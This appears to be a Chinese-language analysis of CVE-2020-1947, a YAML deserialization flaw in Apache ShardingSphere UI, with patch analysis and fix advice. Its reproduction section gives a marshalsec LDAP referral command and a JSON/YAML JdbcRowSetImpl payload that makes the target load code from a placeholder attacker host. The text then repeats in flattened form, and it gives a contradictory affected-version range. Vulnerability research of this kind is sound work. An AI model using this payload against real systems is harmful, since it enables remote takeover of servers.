CVE-2020-1947 Apache ShardingSphere UI YAML解析远程代码执行漏洞
字数 1711 2025-08-18 11:39:26

Apache ShardingSphere UI YAML解析远程代码执行漏洞(CVE-2020-1947)分析报告

一、漏洞概述

漏洞名称:Apache ShardingSphere UI YAML解析远程代码执行漏洞
CVE编号:CVE-2020-1947
威胁等级:高危
影响范围:Apache ShardingSphere UI <= 4.0.1
公开时间:2020年3月10日

二、受影响产品介绍

Apache ShardingSphere是一套开源的分布式数据库中间件解决方案组成的生态圈,由以下组件构成:

  • Sharding-JDBC
  • Sharding-Proxy
  • Sharding-Sidecar(规划中)

这些组件提供标准化的数据分片、分布式事务和数据库治理功能,适用于Java同构、异构语言、云原生等各种应用场景。

三、漏洞分析

3.1 漏洞原理

漏洞存在于ShardingSphere UI的YAML解析功能中,由于未对输入的YAML内容进行安全过滤,攻击者可以通过构造恶意的YAML内容实现远程代码执行。

3.2 补丁对比

通过分析4.0.1版本的change-log,可以看到添加了一个类过滤器构造函数以限制来自YAML的非法类:

public final class ClassFilterConstructor extends Constructor {
    private final Collection<Class<?>> acceptClasses;
    
    @Override
    protected Class<?> getClassForName(final String name) throws ClassNotFoundException {
        for (Class<? extends Object> each : acceptClasses) {
            if (name.equals(each.getName())) {
                return super.getClassForName(name);
            }
        }
        throw new IllegalArgumentException(String.format("Class is not accepted: %s", name));
    }
}

该补丁添加了一个白名单类acceptClasses列表,只有列表中的类才能被加载,其他危险类(如Poc中使用的JdbcRowSetImpl)将被拒绝。

3.3 漏洞根源

在4.0.0版本中,src/main/java/org/apache/shardingsphere/ui/util/ConfigurationYamlConverter.java直接使用unmarshal方法对输入的YAML进行解析,没有进行任何安全校验。这类似于Fastjson的反序列化漏洞,攻击者可以通过com.sun.rowset.JdbcRowSetImpl类实现JNDI注入攻击。

四、漏洞复现

4.1 环境搭建

有两种方式搭建Apache ShardingSphere UI环境:

方法一:从源码编译

wget -c https://github.com/apache/incubator-shardingsphere/archive/4.0.0.tar.gz
cd incubator-shardingsphere/shrding-ui/
mvn clean package -Prelease

编译后的包位于:
shardingsphere-ui/shardingsphere-ui-distribution/shardingsphere-ui-bin-distribution/target/apache-shardingsphere-incubating-${latest.release.version}-shardingsphere-ui-bin.tar.gz

方法二:直接下载二进制包
下载地址:
https://mirrors.tuna.tsinghua.edu.cn/apache/incubator/shardingsphere/4.0.0/apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz

解压后运行:

tar -xf apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz
bin/start.sh

默认配置:

  • 监听端口:8088
  • 管理员账号:admin/admin

4.2 漏洞利用步骤

  1. 构造恶意类
    编写ExportObject.java并编译:

    javac ExportObject.java
    
  2. 启动HTTP服务器
    ExportObject.class所在目录启动:

    python -m SimpleHTTPServer
    
  3. 启动LDAP服务器
    使用marshalsec工具:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://攻击者IP:8000/#ExportObject
    
  4. 发送恶意请求
    构造POST请求到/api/schema接口,YAML内容中包含恶意类:

    {
      "name": "CVE-2020-1947",
      "ruleConfiguration": " encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5",
      "dataSourceConfiguration": "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://攻击者IP:1389/ExportObject\n autoCommit: true"
    }
    

    注意:请求头中需要包含有效的Access-Token

五、修复建议

  1. 升级版本
    官方已在4.0.1版本中修复此漏洞,建议立即升级到最新版本。

  2. 临时缓解措施

    • 限制ShardingSphere UI的访问权限
    • 修改默认管理员密码
    • 在网络层面限制对外连接
  3. 安全配置

    • 修改conf/application.properties中的默认配置
    • 禁用不必要的功能

六、总结

该漏洞由于ShardingSphere UI对YAML解析时未进行安全过滤,导致攻击者可以通过构造恶意YAML内容实现远程代码执行。漏洞利用门槛较低,危害较大,建议受影响用户尽快升级修复。

Apache ShardingSphere UI YAML解析远程代码执行漏洞(CVE-2020-1947)分析报告 一、漏洞概述 漏洞名称 :Apache ShardingSphere UI YAML解析远程代码执行漏洞 CVE编号 :CVE-2020-1947 威胁等级 :高危 影响范围 :Apache ShardingSphere UI <= 4.0.1 公开时间 :2020年3月10日 二、受影响产品介绍 Apache ShardingSphere是一套开源的分布式数据库中间件解决方案组成的生态圈,由以下组件构成: Sharding-JDBC Sharding-Proxy Sharding-Sidecar(规划中) 这些组件提供标准化的数据分片、分布式事务和数据库治理功能,适用于Java同构、异构语言、云原生等各种应用场景。 三、漏洞分析 3.1 漏洞原理 漏洞存在于ShardingSphere UI的YAML解析功能中,由于未对输入的YAML内容进行安全过滤,攻击者可以通过构造恶意的YAML内容实现远程代码执行。 3.2 补丁对比 通过分析4.0.1版本的change-log,可以看到添加了一个类过滤器构造函数以限制来自YAML的非法类: 该补丁添加了一个白名单类 acceptClasses 列表,只有列表中的类才能被加载,其他危险类(如Poc中使用的 JdbcRowSetImpl )将被拒绝。 3.3 漏洞根源 在4.0.0版本中, src/main/java/org/apache/shardingsphere/ui/util/ConfigurationYamlConverter.java 直接使用 unmarshal 方法对输入的YAML进行解析,没有进行任何安全校验。这类似于Fastjson的反序列化漏洞,攻击者可以通过 com.sun.rowset.JdbcRowSetImpl 类实现JNDI注入攻击。 四、漏洞复现 4.1 环境搭建 有两种方式搭建Apache ShardingSphere UI环境: 方法一:从源码编译 编译后的包位于: shardingsphere-ui/shardingsphere-ui-distribution/shardingsphere-ui-bin-distribution/target/apache-shardingsphere-incubating-${latest.release.version}-shardingsphere-ui-bin.tar.gz 方法二:直接下载二进制包 下载地址: https://mirrors.tuna.tsinghua.edu.cn/apache/incubator/shardingsphere/4.0.0/apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz 解压后运行: 默认配置: 监听端口:8088 管理员账号:admin/admin 4.2 漏洞利用步骤 构造恶意类 编写 ExportObject.java 并编译: 启动HTTP服务器 在 ExportObject.class 所在目录启动: 启动LDAP服务器 使用marshalsec工具: 发送恶意请求 构造POST请求到 /api/schema 接口,YAML内容中包含恶意类: 注意:请求头中需要包含有效的 Access-Token 。 五、修复建议 升级版本 官方已在4.0.1版本中修复此漏洞,建议立即升级到最新版本。 临时缓解措施 限制ShardingSphere UI的访问权限 修改默认管理员密码 在网络层面限制对外连接 安全配置 修改 conf/application.properties 中的默认配置 禁用不必要的功能 六、总结 该漏洞由于ShardingSphere UI对YAML解析时未进行安全过滤,导致攻击者可以通过构造恶意YAML内容实现远程代码执行。漏洞利用门槛较低,危害较大,建议受影响用户尽快升级修复。